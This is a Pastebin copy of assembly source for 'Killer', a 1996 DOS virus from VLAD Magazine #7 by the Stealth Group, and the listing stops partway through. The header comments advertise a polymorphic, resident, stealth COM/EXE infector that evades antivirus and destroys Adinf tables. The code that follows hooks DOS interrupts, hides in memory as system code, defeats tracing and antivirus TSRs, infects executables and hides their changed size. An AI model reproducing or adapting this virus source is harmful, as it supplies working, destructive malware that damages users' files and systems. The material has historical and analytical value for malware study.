API tools faq
paste
FlyFar

VLAD Magazine - Issue #7 - ARTICLE.4_5 - Killer Virus

FlyFar
Jul 2nd, 2023
109
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 33.84 KB | Cybersecurity | 0 0
raw download clone embed print report
  1. ; For VLAD#7.
  2. ; STEALTH group WorldWide seeking WorldWide contacts with virmakers and
  3. ; virus supporters.
  4. ; For contact with SGWW drop us a line to:
  5. ;     E-Mail:  kirill@accessnet.ru
  6. ;              caesar@sch157.freenet.kiev.ua
  7. ;              
  8. ;     Mail:    SGMoscoW,  Box 15, MoscoW 125080 RUSSIA
  9. ;     Mail:    SGUkraine, Box 10, Kiev   252148 UKRAINE
  10. ;----------------------------------------------------------------------------
  11. ;                            TO WHOM IT MAY CONCERN.
  12. ;                            ����������������������
  13. ;               -= KILLER =-
  14. ;               ������������
  15. ; ---------------------------------------------------------------------------
  16. ; This virus includes the EMME (Eternal Maverick Multilevel Encryptor) v3.0.
  17. ; ---------------------------------------------------------------------------
  18. ; Polymorphic ( from 1 up to 4 levels of encryption ) resident COM, EXE & OV?
  19. ; infector.  Does not decrease memory size and is not detectable by heuristic
  20. ; analysis (like WEB,F-PROT & TBAV),  does not destroy overlay EXE, does not
  21. ; conflict  with  CHKDSK  and  TSRs,  can't  be  cured  with  TBCLEAN,  many
  22. ; resident virus traps  ( like ANTIAPE.SYS )  are  not  able to intercept its
  23. ; attempt  to stay  resident  ( if it is possible use  UMB,  if not wait for
  24. ; program termination  and  then  allocate  about 2700 bytes in low memory ).
  25. ; It uses an original technique to find DOS INT 21h handler. It is a Stealth.
  26. ; Uses anti-debugging tricks, disables stealth when archivators are executed.
  27. ; It destroys Adinf tables when executed first time.     DESTRUCTIVE !
  28. ; Assembled with TASM 3.1 (tasm /z/m2 newkiller.asm), TASM 4.0 fails & sucks.
  29. ;
  30. ;                  (c) Eternal Maverick 1996.  Stealth Group.
  31. ;     �������������������ͻ
  32. ;     �        YES,       �    Special  thanks  to Populizer  for help
  33. ;     �   IT WORKS WITH   �    in bug-fixing & Dark Angel  for his UMB
  34. ;     � MICROSOFT WINDOWS �    residency.
  35. ;     �������������������ͼ      
  36. ;                  Congratulations to all virmakers.
  37. ;
  38. ; All trade marks are properties of their respective owners.
  39. ; ----------------------------------------------------------------------------
  40. ;   LOOK OUT WHEN RUN !     KILL THEM ALL, LET THE GOD SORT THEM OUT!
  41. ; ----------------------------------------------------------------------------
  42. ; Compile with TASM /m2
  43. ; ----------------------------------------------------------------------------
  44. ;   P.S. Guys, sorry for ill comments! Nevertheless it's interesting!
  45. ; ----------------------------------------------------------------------------
  46.     .model tiny
  47.     .code
  48.     org 100h
  49. START:
  50. ;-------------------------------------------------------------------
  51. VL   EQU    OFFSET VIREND - START       ; A length of pure virus code
  52. INT24h   EQU    OFFSET ERRORINT - START + 10h   ; Int24h handler offset in
  53.                         ; memory block
  54. INT_NEW  EQU    OFFSET MAININT - START + 10h    ; Offset of Int21h
  55.  
  56. ; P.S. First 10h bytes of virus memory block are used for data storing
  57.  
  58. BACKDOOR EQU    OFFSET INSTALL - INSTALLED  ; Used during installation
  59.  
  60. CALL21h  EQU    OFFSET NO_RET_2 - START + 10h + 1  ; Places for old int21h
  61. CALLDOS  EQU    OFFSET NO_RET_1 - START + 10h      ; & original int21h storing
  62.  
  63. RES_INST EQU    OFFSET PATTERN - START + 10h
  64. RETURN   EQU    OFFSET FAIL - START + 11h
  65. INT22H   EQU    OFFSET EXIT_INT - START + 10h
  66. BYTES    EQU    VL + 10h
  67. NEWBYTES EQU    BYTES + 1Ch
  68. ;-----------------------------------------
  69. ;   Another data area
  70. ;-----------------------------------------
  71. SAVE_AX  EQU    NEWBYTES+18h
  72. _HIGH_   EQU    SAVE_AX + 2
  73. _LOW_    EQU    _HIGH_ + 2
  74. NO_HIGH  EQU    _LOW_ + 2
  75. NO_LOW   EQU    NO_HIGH + 2
  76. LNEW     EQU    NO_LOW + 2
  77. HNEW     EQU    LNEW + 2
  78. ;-----------------------------------------
  79. VIDEO    EQU    0BE00h          ; Segment of video memory
  80.                     ; used for encryption
  81. ;--------------------------------------------------------------------
  82.     PUSH ES
  83.     CALL DEBUG
  84. INSTALLED:
  85.     ADD  SI,OFFSET VIREND - INSTALLED
  86.     POP  DX
  87.     XOR  AX,AX
  88.     MOV  BX,AX
  89.     MOV  ES,DX
  90.     MOV  DS,DX
  91.     MOV  CX,SS          ; Check if it is EXE or COM
  92.     CMP  CX,DX          ; by comparing SS and DS. It
  93.     JNE  _EXE_          ; OK, because this virus resets
  94.                     ; stack in EXE files
  95.  
  96. ;----------------------------------------
  97. ;   Restoring of COM
  98. ;----------------------------------------
  99.     MOV  DI,0100h
  100.     PUSH DI
  101.     MOV  CX,0Ch
  102.     REP  MOVSW
  103.     RET
  104. _EXE_:
  105. ;----------------------------------------
  106. ;   Restoring of EXE
  107. ;----------------------------------------
  108.     ADD  DX,10h
  109.     MOV  CX,DX
  110.     CLI
  111.     ADD  CX,WORD PTR CS:[SI+0Eh]
  112.     MOV  SS,CX
  113.     MOV  SP,WORD PTR CS:[SI+10h]
  114.     STI
  115.     ADD  DX,WORD PTR CS:[SI+16h]
  116.     PUSH DX
  117.     PUSH WORD PTR CS:[SI+14h]
  118.     RETF
  119. INSTALL:
  120. ;--------------------------------------
  121. ;   Try to climb to UMB
  122. ;   Thanks to Dark Angel
  123. ;--------------------------------------
  124.     SUB  SI,OFFSET INSTALL-START
  125.     PUSH ES
  126.     PUSH SI
  127.  
  128.     XOR  DI,DI
  129.     MOV  AX,3306h       ; get true DOS version
  130.     INT  21h
  131.     INC  AL         ; DOS 4-?
  132.     JZ   NO_UMBs        ; if so, we don't have UMB's
  133.  
  134.     MOV  AH,52h     ; get DOS master list
  135.     INT  21h
  136.  
  137.     LDS  SI,ES:[BX+12h] ; get ptr to disk buffer info
  138.  
  139.     MOV  AX,DS:[SI+1Fh] ; get address of the first UMB
  140.     INC  AX         ; (FFFF if no UMBs present)
  141.     JZ   NO_UMBs
  142.         DEC  AX         ; undo damage from above
  143.  
  144. SEARCH_CHAIN:
  145.  
  146.     MOV  DS,AX      ; go to the MCB
  147.     CMP  WORD PTR [DI+1],DI ; unused?
  148.     JNZ  SEARCH_NEXT
  149.     CMP  WORD PTR [DI+3],(VL/16)+10  ; MCB large enough to
  150.     JA   HANDLE_MCB          ; hold us and our MCB?
  151.  
  152. SEARCH_NEXT:
  153.     CMP  BYTE PTR [DI],'Z'  ; end of chain?
  154.     JZ   NO_UMBs
  155.     MOV  BX,[DI+3]      ; go to the next MCB
  156.     INC  AX
  157.     ADD  AX,BX
  158.     JMP  SHORT SEARCH_CHAIN
  159.  
  160. HANDLE_MCB:
  161.     SUB  WORD PTR [DI+3],(VL/16)+11  ; adjust size of memory
  162.                     ; area for virus + its MCB
  163.     MOV  BX,[DI+3]          ; get size of new memory area
  164.     MOV  CL,'M'         ; make sure this MCB doesn't
  165.     XCHG CL,BYTE PTR [DI]       ; mark the end of the chain
  166.     INC  AX
  167.     ADD  AX,BX          ; go to virus segment's MCB
  168.     MOV  DS,AX
  169.     MOV  ES,AX
  170.  
  171.     MOV  BYTE PTR [DI],CL       ; patch end of chain indicator
  172.     MOV  WORD PTR [DI+1],70h    ; mark MCB owned by DOS
  173.     MOV  WORD PTR [DI+3],(VL/16)+10 ; patch in virus size
  174.  
  175.     INC  AX             ; ds->virus segment
  176.     MOV  DS,AX
  177.  
  178.     MOV  DI,8           ; go to program name field
  179.     MOV  AX,'CS'            ; make virus invisible to MEM
  180.     STOSW               ; by pretending it is
  181.     XOR  AX,AX          ; DOS system code
  182.     STOSW
  183.     STOSW
  184.     STOSW
  185. ;--------------------------------------
  186. ;   Move my virus up!
  187. ;--------------------------------------
  188.     POP  SI
  189.     POP  ES
  190.     PUSH DS
  191.     POP  ES
  192.     CALL REMOVE
  193.     JMP  SHORT TRACE
  194. NO_UMBs:
  195.     POP  SI
  196.     POP  ES
  197. ;--------------------------------------
  198.     MOV  BX,WORD PTR ES:[2]
  199.     SUB  BX,(VL/16)+10
  200.     PUSH ES
  201.     MOV  ES,BX
  202.     CALL REMOVE         ; Move virus up
  203.                     ; without MCB change
  204. ;--------------------------------------
  205.     POP  DS
  206.     MOV  SI,0Ah
  207.     MOV  DI,RETURN
  208.     MOVSW
  209.     MOVSW
  210.     MOV  WORD PTR DS:[SI-2],ES  ; Set Int22h in PSP
  211.     MOV  WORD PTR DS:[SI-4],INT22h  ; to virus int22h handler
  212. TRACE:
  213. ;--------------------------------------
  214. ;   Save int 21h
  215. ;--------------------------------------
  216.     PUSH ES
  217.     mov  ax,3521h
  218.     int  21h
  219.     pop  ds
  220.     push ds
  221.     mov  ds:[call21h+1],bx
  222.     mov  ds:[call21h+3],es
  223. ;-----------------------------------------
  224. ;     Searching for original int 21h
  225. ;-----------------------------------------
  226. ; This technique is derived from  DIR_II
  227. ; virus. Works with all DOS versions from
  228. ; MS DOS 3.0 to PC DOS 7.0
  229. ;-----------------------------------------
  230.     MOV  AH,52h
  231.     INT  21h
  232.     MOV  SI,ES:[BX+4]
  233.     LDS  SI,ES:[SI-4]
  234. FIND21:
  235.     DEC  SI
  236.     CMP  WORD PTR DS:[SI],0E18Ah
  237.     JNE  FIND21
  238.     CMP  BYTE PTR DS:[SI+2],0EBh
  239.     JNE  FIND21
  240. FINDYOU:
  241.     LODSB
  242.     CMP  AL,77h
  243.     JNE  FINDYOU
  244.     SUB  SI,4
  245.     MOV  AX,DS
  246.     POP  DS
  247.     MOV  WORD PTR DS:[CALLDOS+1],SI
  248.     MOV  WORD PTR DS:[CALLDOS+3],AX
  249. SET21h:
  250.     MOV  DX,INT_NEW
  251.     MOV  AX,2521h
  252.     INT  21h
  253.     POP  SI
  254.     JMP  SI     ; Installation complete.
  255.  
  256. ;-----------------
  257. ; int 22h handler
  258. ;-----------------
  259. EXIT_INT:
  260.     MOV  AH,48h
  261.     MOV  BX,(VL/16)+7
  262.     INT  21h    ; Get a memory block
  263.     JC   FAIL
  264.     DEC  AX
  265.     MOV  ES,AX
  266.     XOR  SI,SI
  267.     MOV  WORD PTR ES:[SI+1],070h    ; Make in invisible for many progs
  268.                     ; Set environment mark 70h
  269.     CALL REMOVE         ; Move virus in new place
  270.     INC  AX
  271.     MOV  DS,AX
  272.     CALL SET21h         ; Set Int21h
  273. FAIL:
  274. DB  0EAh,0,0,0,0            ; Return to DOS
  275.  
  276. ;-----------------
  277. ; int 24h handler
  278. ;-----------------
  279. ERRORINT:
  280.     MOV  AL,3   ; AL = 3 (abort current proccess)
  281.     IRET
  282. READER:
  283. ;------------------------------
  284. ; Int 21h function 3Fh handler
  285. ; Needed for stealth
  286. ;------------------------------
  287.     CALL OURFILE
  288.     CALL INT_21h
  289.     JC   GOGO_1
  290.  
  291.     PUSHF
  292.     PUSH CX
  293.     PUSH BX
  294.     PUSH SI
  295.     PUSH DI
  296.     PUSH ES
  297.     PUSH DX
  298.     PUSH DS
  299.  
  300.     PUSH CS
  301.     POP  DS
  302.     MOV  DS:[SAVE_AX],AX
  303.  
  304.     MOV  AL,01h
  305.     CALL SEEK_X
  306.     JC   GOGO
  307.  
  308.     MOV  DS:[HNEW],DX
  309.     MOV  DS:[LNEW],AX
  310.  
  311.     SUB  AX,WORD PTR DS:[SAVE_AX]
  312.     SBB  DX,0
  313.  
  314.     MOV  DS:[_HIGH_],DX
  315.     MOV  DS:[_LOW_],AX
  316.  
  317.     CALL SEEK_E
  318.  
  319.     SUB  AX,0E00h
  320.     SBB  DX,0
  321.  
  322.     MOV  DS:[NO_HIGH],DX
  323.     MOV  DS:[NO_LOW],AX
  324.  
  325.     CMP  WORD PTR DS:[_HIGH_],0
  326.     JNE  MID
  327.     CMP  WORD PTR DS:[_LOW_],18h
  328.     JAE  MID
  329. BEG:
  330.     CALL READ_L
  331.     MOV  CX,18h
  332.     SUB  CX,DS:[_LOW_]
  333.  
  334.     CMP  CX,DS:[SAVE_AX]
  335.     JB   OK
  336.     MOV  CX,DS:[SAVE_AX]
  337. OK:
  338.     ADD  SI,DS:[_LOW_]
  339.     POP  ES
  340.     POP  DI
  341.     PUSH DI
  342.     PUSH ES
  343.     REP  MOVSB
  344.  
  345.     CALL S_INIT
  346.     JC   GOGO
  347. READ_OK:
  348.     CALL SEEK_Z
  349. GOGO:
  350.     MOV  AX,DS:[SAVE_AX]
  351. NO_AX:
  352.     POP  DS
  353.     POP  DX
  354.     POP  ES
  355.     POP  DI
  356.     POP  SI
  357.     POP  BX
  358.     POP  CX
  359.     POPF
  360. GOGO_1:
  361.     RETF 2
  362. MID:
  363.     CALL S_INIT
  364.     JNC   READ_OK
  365.  
  366.     CALL SEEK_Z
  367.  
  368.     MOV  CX,DS:[_HIGH_]
  369.     MOV  DX,DS:[_LOW_]
  370.  
  371.     CALL RCOMP
  372.     JC   NO_AX
  373.  
  374.     MOV  AX,DS:[NO_HIGH]
  375.     SUB  AX,DS:[_HIGH_]
  376.     MOV  BL,10h
  377.     MUL  BL
  378.     ADD  AX,DS:[NO_LOW]
  379.     SUB  AX,DS:[_LOW_]
  380.     JMP  SHORT NO_AX
  381.  
  382. ;����������������������������������
  383. ;   int  21h  handler
  384. ;����������������������������������
  385. MAININT:
  386. ;---------------------
  387. ;    Anti-tracing
  388. ;---------------------
  389.     PUSH AX
  390.     PUSH SS
  391.     POP  SS
  392.     PUSHF           ; This instruction can not be traced.
  393.     POP  AX
  394.     TEST AH,1       ; Tracing of our int 21h handle?
  395.     POP  AX
  396.     JNZ  NO_CLOSE       ; Go away!
  397. ;---------------------
  398.  
  399.     CMP  AX,06CFFh      ; Are you there?
  400.     JNE  MORE
  401.  
  402.     MOV  AL,04Bh        ; Here I am, boss!
  403.     IRET
  404. MORE:
  405.     CMP  AH,3Ch
  406.     JE   MAKE_IT
  407.     CMP  AH,5Bh
  408.     JNE  MORE_1
  409. MAKE_IT:
  410.     CALL INT_21h
  411.     JC   CR_ERROR
  412.     MOV  WORD PTR CS:[0Eh],AX
  413. CR_ERROR:
  414.     RETF 2
  415. MORE_1:
  416.     CMP  AH,03Eh
  417.     JNE  REGI
  418.  
  419.     CMP  BX,WORD PTR CS:[0Eh]
  420.     JNE  MORE_3
  421.  
  422.     CMP  BX,5       ; Tis not looks like a file!
  423.     JB   NO_CLOSE
  424.  
  425.     MOV  WORD PTR CS:[06h],BX
  426.  
  427.     PUSH DS
  428.     PUSH BX
  429.     CALL READ_L
  430.     JNE  MORE_2
  431.     CALL TALE_OUT
  432. MORE_2:
  433.     MOV  AH,3Eh
  434.     POP  BX
  435.     POP  DS
  436.     MOV  WORD PTR CS:[0Eh],0
  437.     JMP  SHORT NO_CLOSE
  438. MORE_3:
  439.     CMP  BX,WORD PTR CS:[04h]
  440.     JNE  _EXIT_
  441.     MOV  WORD PTR CS:[04h],0
  442. NO_CLOSE:
  443.     JMP  SHORT _EXIT_
  444. REGI:
  445.     CMP  AH,04Bh
  446.     JNE  NOT_EXEC
  447.  
  448.     OR   AL,AL
  449.     JZ   COME
  450. FAG:
  451.     MOV  BYTE PTR CS:[08h],0FFh
  452. COME:
  453.     JMP  CHECK
  454. NOT_EXEC:
  455.     CMP  BYTE PTR CS:[09h],0FFh
  456.     JE   _EXIT_
  457.  
  458.     CMP  AX,4300h
  459.     JE   COME
  460.     CMP  AH,056h
  461.     JE   COME
  462.     CMP  AH,03Dh
  463.     JE   COME
  464.  
  465.     CMP  AX,4202h
  466.     JNE  NOT_LSEEK
  467.  
  468.     CALL OURFILE
  469.  
  470.     PUSH BX
  471.     PUSH CX
  472.     PUSH DX
  473.     CALL SEEK_X
  474.  
  475.     SUB  AX,0E00h
  476.     SBB  DX,0
  477.  
  478.     XCHG CX,AX
  479.     XCHG CX,DX
  480.     POP  AX
  481.     ADD  DX,AX
  482.     POP  AX
  483.     ADC  CX,AX
  484.     MOV  AX,4200h
  485.     POP  BX
  486. _EXIT_:
  487.     JMP  SHORT GATE
  488.  
  489. NOT_LSEEK:
  490.     CMP  AH,03Fh
  491.     JNE  AHEAD
  492.     JMP  READER
  493. AHEAD:
  494.     CMP  AH,4Eh
  495.     JE   HIDE_1
  496.     CMP  AH,4Fh
  497.     JE   HIDE_1
  498.     CMP  AH,11h
  499.     JE   HIDE_2
  500.     CMP  AH,12h
  501.     JE   HIDE_2
  502.     CMP  AH,40h
  503.     JNE  GATE
  504. WRITER:
  505.     CALL OURFILE
  506.  
  507.     PUSH AX
  508.     PUSH BX
  509.     PUSH SI
  510.     PUSH DS
  511.     PUSH DX
  512.     PUSH CX
  513.  
  514.     MOV  AL,01h
  515.     CALL SEEK_X
  516.     PUSH AX
  517.     PUSH DX
  518.    
  519.     CALL READ_L
  520.     JNE  NOT_OUR
  521.     CALL WRITE_L
  522. NOT_OUR:
  523.     POP  CX
  524.     POP  DX
  525.     XOR  AL,AL
  526.     CALL SEEK_Z
  527.  
  528.     POP  CX
  529.     POP  DX
  530.     POP  DS
  531.     POP  SI
  532.     POP  BX
  533.     POP  AX
  534. GATE:
  535.     JMP  NO_RET_2
  536. HIDE_1:
  537. ;-------------------------------------
  538. ; Subtracting of VIRUS length
  539. ; while 4Eh,4Fh,11h,12h functions
  540. ; are called.
  541. ;-------------------------------------
  542.     PUSH DI
  543.     CALL PREFIX
  544.     JC   ERROR
  545.     CMP  BYTE PTR ES:[BX+16h],0Fh
  546.     JNE  ERROR
  547.     MOV  DI,1Ah
  548.     JMP  SHORT SUBLEN
  549. HIDE_2:
  550.     PUSH DI
  551.     CALL PREFIX
  552.     POP  AX
  553.     TEST AL,0FFh
  554.     PUSH AX
  555.     JNZ  ERROR
  556.     CMP  BYTE PTR ES:[BX],0FFh  ; Extended FCB - ?
  557.     JNE  SIMPLE
  558.     ADD  BX,7
  559. SIMPLE:
  560.     CMP  BYTE PTR ES:[BX+17h],0Fh
  561.     JNE  ERROR
  562.     MOV  DI,1Dh
  563. SUBLEN:
  564.     SUB  WORD PTR ES:[BX+DI],0E00h
  565.     SBB  WORD PTR ES:[BX+DI+2],0
  566.     JNC  ERROR
  567.     ADD  WORD PTR ES:[BX+DI],0E00h
  568.     ADC  WORD PTR ES:[BX+DI+2],0
  569. ERROR:
  570.     POP  AX
  571.     POPF
  572.     POP  ES
  573.     POP  DI
  574.     RETF 2
  575. CHECK:
  576. ;---------------------------------------
  577. ;       Check if it is a proper file
  578. ;   for infection
  579. ;---------------------------------------
  580.     PUSH BP
  581.     PUSH SI
  582.     PUSH DI
  583.     PUSH ES
  584.     PUSH BX
  585.     PUSH CX
  586.     PUSH AX
  587.     PUSH DX
  588.     PUSH DS
  589.  
  590.     MOV  DI,DX
  591.     MOV  SI,DX
  592.     PUSH DS
  593.     POP  ES
  594.     MOV  AX,1211h
  595.     INT  2Fh        ; Converts ASCIIZ line into UpCase letters
  596.     PUSH CS
  597.     POP  DS
  598.     MOV  BYTE PTR DS:[09h],0
  599.     CLD
  600.     MOV  CX,4
  601.     SUB  DI,CX
  602.     MOV  SI,OFFSET EXTEN - START + 10h
  603.     CALL STR1   ; Check file extention.
  604.     JZ   _ESC
  605. EXITEXT:
  606.     SUB  DI,12  ; Max Length of file name + '.' + extention
  607.     CMP  CL,4
  608.     JE   CHKCOM
  609.     CMP  CL,3
  610.     JNE  TEST_OK
  611. CHKEXE:
  612.     CMP  BYTE PTR ES:[DI+7],'F'     ; Adin'F' - ?
  613.     JE   _ARC               ; Turn stealth off.
  614.     MOV  SI,OFFSET ANTIV - START + 10h
  615.     CALL CHKNAME
  616.     JNZ  _ESC
  617.  
  618.     MOV  SI,OFFSET ARCHV - START + 10h
  619.     CALL CHKNAME                ; Check if it is archivator
  620.                         ; or not
  621.     JNZ  _ARC
  622.  
  623.     JMP  SHORT CHKALL  
  624. CHKCOM:
  625.     MOV  SI,OFFSET DONOT - START + 10h  ; Checking for COMMAND.COM
  626.                         ; & WIN.COM
  627.     MOV  AL,2
  628.     CALL CHK1
  629.     JNZ  _ESC
  630. CHKALL:
  631.     MOV  SI,OFFSET ALL - START + 10h    ; Check for CHKDSK. This shit
  632.                         ; is sometimes COM and sometimes
  633.                         ; EXE file
  634.     MOV  AL,1
  635.     CALL CHK1
  636.     JZ   TEST_OK
  637. _ARC:
  638.     OR   BYTE PTR DS:[09h],0FFh     ; Disable stealth
  639. _ESC:
  640.     JMP  ABORT              ; No other actions.
  641. TEST_OK:
  642.     MOV  AX,352Ah
  643.     CALL INT_21h
  644.     MOV  BYTE PTR ES:[BX],0CFh  ; Specialy for AVPTSR & Co
  645.                     ; Turn Int 2Ah off
  646. ;---------------------------------------
  647. ;   Save & set INT 24h
  648. ;---------------------------------------
  649.     MOV  AX,3524h
  650.     CALL INT_21h
  651.  
  652.     MOV  WORD PTR DS:[0],BX
  653.     MOV  WORD PTR DS:[2],ES
  654.  
  655.     MOV  AX,2524h
  656.     MOV  DX,INT24h
  657.     CALL INT_21h
  658.  
  659. ;---------------------------------------
  660. ; Disable IRQ-1 (Int 09h)
  661. ; It's better than to deal
  662. ; with function 33h of INT 21h
  663. ;---------------------------------------
  664. ; Recommended for nervous users!!! ;-)
  665. ;---------------------------------------
  666.  
  667.     IN   AL,21h
  668.     OR   AL,00000010b
  669.     OUT  21h,AL
  670. ;----------------------------------------
  671.     POP  DS
  672.     POP  DX
  673.     PUSH DX
  674.     PUSH DS
  675.     MOV  AX,4300h
  676.     CALL INT_21h
  677.  
  678.     PUSH CX
  679.  
  680.     TEST CL,00000100b   ; System file - ?
  681.     JNZ  PROTECT        ; Don't touch it!!!
  682.  
  683. ;----------------------------------------
  684. ;   Checking for protected floppy
  685. ;   using 3F5h port
  686. ;----------------------------------------
  687.     PUSH DX
  688.     MOV  CX,400h
  689.     MOV  DX,3F5h
  690.     MOV  AL,4
  691.     OUT  DX,AL
  692. WAIT_1:
  693.     LOOP WAIT_1
  694.  
  695.     MOV  CX,400h
  696.     OUT  DX,AL
  697. WAIT_2:
  698.     LOOP WAIT_2
  699.  
  700.     IN   AL,DX
  701.     TEST AL,40h     ; Protected disk - ?
  702.     POP  DX
  703.     JNZ  PROTECT
  704. ;----------------------------------
  705.     POP  CX
  706.     PUSH CX
  707.     AND  CL,0FEh        ; Set READ-ONLY off
  708.     MOV  AX,4301H
  709.     CALL INT_21h
  710.     JNC  _FILE_OK
  711. ;-----------------------------------
  712. ; I am not able to change attribute
  713. ;-----------------------------------
  714. PROTECT:
  715.     POP  CX
  716.     JMP  ESC_2
  717. _FILE_OK:
  718.     PUSH DX
  719.     PUSH DS
  720.     MOV  AX,3D02h
  721.     CALL INT_21h        ; DOS Services  ah=function 3Dh
  722.                 ; open file, al=mode,name@ds:dx
  723.     MOV  WORD PTR CS:[06h],AX
  724.     MOV  AX,5700h
  725.     CALL FILE_X     ; DOS Services  ah=function 57h
  726.                 ; get/set file date & time
  727.     PUSH DX
  728.     PUSH CX
  729.  
  730.     CMP  BYTE PTR CS:[08h],0FFh
  731.     JNE  TEST_2
  732.  
  733.     CMP  CL,0Fh     ; Infected file?
  734.     JNE  ESC_0
  735. TAKE_IT:            ; To cure a file
  736.     CALL READ_L
  737.     JNE  ESC_0
  738.     CALL WRITE_L
  739.  
  740.     POP  CX
  741.     AND  CL,11100000b
  742.     PUSH CX
  743. ESC_0:
  744.     JMP  ESC_1
  745. TEST_2:
  746.     CMP  CL,0Fh     ; Is it already infected?
  747.     JE   ESC_0
  748.  
  749.     PUSH CS
  750.     POP  DS
  751.     MOV  DX,BYTES
  752.     CALL READ_H     ; DOS Services  ah=function 3Fh
  753.                 ; read file, cx=bytes, to ds:dx
  754.     CALL SEEK_E
  755.  
  756.     CMP  AX,0E00h       ; File too small to be infected - ?
  757.     JBE  ESC_0
  758.  
  759.     MOV  SI,BYTES
  760.     CMP  WORD PTR DS:[SI],5A4Dh ; 'MZ'
  761.     JE   EXE_FILE
  762.     CMP  WORD PTR DS:[SI],4D5Ah ; 'ZM'
  763.     JE   EXE_FILE
  764.  
  765.     CMP  AX,0F000h      ; File too big to be infected - ?
  766.     JAE  ESC_0
  767.  
  768.     ADD  AX,100h
  769.     MOV  WORD PTR DS:[NEWBYTES+14h],AX  ; IMPORTANT. This is used
  770.                         ; for encrypting.
  771.  
  772.     PUSH AX
  773.     CALL MODUL
  774.  
  775. ;-------------------------------------------
  776. ;   To create a polymorphic "jump"
  777. ;-------------------------------------------
  778.     PUSH DS
  779.     POP  ES
  780.     MOV  DI,NEWBYTES
  781.     MOV  BP,10h ; Don't change SP in encryptor
  782.     CALL MAKE
  783.  
  784.     IN   AL,40h
  785.     AND  AL,00000011b
  786.     MOV  AH,AL
  787.  
  788.     ADD  AX,0E0B8h
  789.     STOSB
  790.     POP  WORD PTR DS:[DI]
  791.     INC  DI
  792.     INC  DI
  793.     MOV  AL,0FFh
  794.     STOSW
  795.  
  796.     NEG  DX
  797.     ADD  DX,13h
  798.     CALL POLY
  799. ;-------------------------------------------   
  800.     JMP  SHORT WRITE
  801. EXE_FILE:
  802. ;---------------------------------------
  803. ;   Is it segmented or not ?
  804. ;---------------------------------------
  805.     PUSH DX
  806.     PUSH AX
  807.     MOV  SI,200h
  808.     DIV  SI
  809.     DEC  AX
  810.     CMP  AX,WORD PTR DS:[BYTES+04h]
  811.     POP  AX
  812.     POP  DX
  813.     JA   ESC_1
  814. ;-------------------------------------------
  815.     MOV  SI,BYTES
  816.     MOV  DI,NEWBYTES
  817.  
  818.     PUSH DS
  819.     POP  ES
  820.     MOV  CX,0Ch
  821.     REP  MOVSW
  822.     MOV  CX,10h
  823.     DIV  CX
  824.  
  825.     SUB  AX,WORD PTR DS:[SI+08h+4]
  826.     MOV  WORD PTR DS:[SI+16h+4],AX  ; ReloCS
  827.     MOV  WORD PTR DS:[SI+14h+4],DX  ; ExeIP
  828. ;-----------------------------------------------
  829. ;   Reseting STACK
  830. ;-----------------------------------------------
  831.     ADD  AX,0E0h
  832.     MOV  WORD PTR DS:[SI+0Eh+4],AX  ; ReloSS
  833.     ADD  DX,200h
  834.     AND  DL,NOT 1           ; To avoid an odd stack
  835.     MOV  WORD PTR DS:[SI+10h+4],DX  ; ReloSP
  836. ;-----------------------------------------------
  837.     ADD  WORD PTR DS:[SI+04h+4],07h ; FileSize
  838.  
  839.     CALL MODUL          ; Creats an encrypted modul
  840.                     ; & writes it to a file
  841. WRITE:
  842.     MOV  DX,NEWBYTES
  843.     CALL WRITE_H            ; Write first 18h bytes
  844. MARKER:
  845.     POP  CX
  846.     MOV  CL,0Fh         ; Set time to mark infection
  847.     PUSH CX
  848. ESC_1:
  849.     POP  CX
  850.     POP  DX
  851.     MOV  AX,5701h
  852.     CALL FILE_X     ; DOS Services  ah=function 57h
  853.                 ; get/set file date & time
  854.     MOV  AH,3Eh
  855.     CALL FILE_X     ; DOS Services  ah=function 3Eh
  856.                 ; close file, bx=file handle
  857.     POP  DS
  858.     POP  DX
  859.     POP  CX
  860.     MOV  AX,4301h
  861.     CALL INT_21h        ; DOS Services  ah=function 43h
  862.                 ; get/set file attrb, nam@ds:dx
  863. ESC_2:
  864. ;-----------------------------
  865. ;   Restore int 24h
  866. ;-----------------------------
  867.     LDS  DX,DWORD PTR CS:[0]
  868.     MOV  AX,2524h
  869.     CALL INT_21h
  870. ;-----------------------------
  871. ;   Enable IRQ-1
  872. ;-----------------------------
  873.     IN   AL,21h
  874.     AND  AL,NOT 2
  875.     OUT  21h,AL
  876. ;-----------------------------
  877.     POP  DS
  878.     POP  DX
  879.     POP  AX
  880.  
  881.     MOV  BYTE PTR CS:[08h],0
  882.  
  883.     CMP  AH,03Dh
  884. ;-----------------------------
  885. ;   Check for file open
  886. ;   Needed for stealth
  887. ;-----------------------------
  888.     JNE  GO_AHEAD
  889.  
  890.     CALL INT_21h
  891.     JC   GO_Fail_1
  892.  
  893.     MOV  WORD PTR CS:[06h],AX
  894.     PUSH DX
  895.     PUSH DS
  896.     PUSH AX
  897.     CALL READ_L
  898.     JNE  GO_Fail
  899.  
  900.     POP  AX
  901.     MOV  WORD PTR CS:[04h],AX
  902.     PUSH AX
  903. GO_Fail:
  904.     CALL SEEK_H
  905.     POP  AX
  906.     POP  DS
  907.     POP  DX
  908. GO_Fail_1:
  909.     POP  CX
  910.     POP  BX
  911.     POP  ES
  912.     POP  DI
  913.     POP  SI
  914.     POP  BP
  915.     RETF 2
  916. ABORT:
  917.     POP  DS
  918.     POP  DX
  919.     POP  AX
  920. GO_AHEAD:
  921.     POP  CX
  922.     POP  BX
  923.     POP  ES
  924.     POP  DI
  925.     POP  SI
  926.     POP  BP
  927.     JMP  SHORT NO_RET_2
  928. READ_H:
  929.     MOV  CX,18h
  930. READ_X:
  931.     MOV  AH,3Fh
  932.     JMP  SHORT FILE_X
  933. WRITE_H:
  934.     MOV  CX,18h
  935. WRITE_X:
  936.     MOV  AH,40h
  937.     JMP  SHORT FILE_X
  938. SEEK_H:
  939.     XOR  AL,AL
  940.     JMP  SHORT SEEK_X
  941. SEEK_E:
  942.     MOV  AL,02
  943. SEEK_X:
  944.     XOR  DX,DX
  945. SEEK_Y:
  946.     XOR  CX,CX
  947. SEEK_Z:
  948.     MOV  AH,42h
  949. FILE_X:
  950.     MOV  BX,WORD PTR CS:[06h]
  951.  
  952. INT_21h PROC NEAR
  953.     PUSHF
  954.     PUSH CS
  955.     CALL NO_RET_1
  956.     RET
  957. NO_RET_1:
  958.     DB   0EAh,00h,00h,00h,00h   ; DOS int 21h
  959.  
  960. OURFILE PROC NEAR
  961.     CMP  BX,WORD PTR CS:[04h]
  962.     JNE  AWAY
  963.     MOV  WORD PTR CS:[06h],BX
  964.     RET
  965. AWAY:
  966.     ADD  SP,2
  967. OURFILE ENDP
  968.  
